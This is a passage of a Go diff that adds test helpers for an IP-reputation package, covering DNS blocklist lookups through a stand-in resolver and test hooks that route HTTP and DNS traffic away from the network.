+// waitForTheResolver waits, on the bubble's clock, an hour, until Go's
+// resolver has given up on every stand-in that does not answer: it waits
+// for a server as long as /etc/resolv.conf has it wait, a few seconds,
+// even after the query was given up, and a bubble cannot end before it.
+func waitForTheResolver() {
+	time.Sleep(time.Hour)
+}
+
+// newDNSBL returns the DNSBL of p, asking resolver.
+func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
+	dnsbl := reputation.NewDNSBL(p)
+	dnsbl.SetDial(resolver.dial)
+
+	return dnsbl
+}
+
+// wantZones checks the zones whose verdict dnsbl says lists client, as a
+// request from client finds them.
+func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
+	t.Helper()
+
+	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
+	if !slices.Equal(got, want) {
+		t.Errorf("%s is listed by %v, want %v", client, got, want)
+	}
+}
+
+// wantQueries checks how many queries dnsbl made to zone, and how many of
+// them failed.
+func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
+	t.Helper()
+
+	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
+		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
+			dnsbl.Failures(zone), queries, failures)
+	}
+}
+
+// wantAsked checks the names the stand-in was asked about, in any order.
+func wantAsked(t *testing.T, resolver *resolverStandIn, want ...string) {
+	t.Helper()
+
+	resolver.mu.Lock()
+	got := slices.Sorted(slices.Values(resolver.names))
+	resolver.mu.Unlock()
+
+	slices.Sort(want)
+
+	if !slices.Equal(got, want) {
+		t.Errorf("asked about %v, want %v", got, want)
+	}
+}

internal/reputation/export_test.go

@@ -0,0 +1,34 @@
+package reputation
+
+import (
+	"context"
+	"net"
+	"net/http"
+	"net/netip"
+)
+
+// SetTransport has l's fetches go through transport instead of the
+// network.
+func (l *Lists) SetTransport(transport http.RoundTripper) {
+	l.httpClient.Transport = transport
+	l.crowdSecClient.Transport = transport
+}
+
+// SetTransport has a's checks go through transport instead of the
+// network.
+func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) {
+	a.httpClient.Transport = transport
+}
+
+// SetDial has d's queries go through dial instead of the network.
+func (d *DNSBL) SetDial(
+	dial func(ctx context.Context, network, address string) (net.Conn, error),
+) {
+	d.resolver = &net.Resolver{PreferGo: true, Dial: dial}
+}
+
+// LookUp asks zone about addr at once, as a query in the background does,
+// and returns whether zone lists addr.
+func (d *DNSBL) LookUp(zone string, addr netip.Addr) (bool, error) {
+	return d.lookUp(context.Background(), query{zone: zone, client: addr})
+}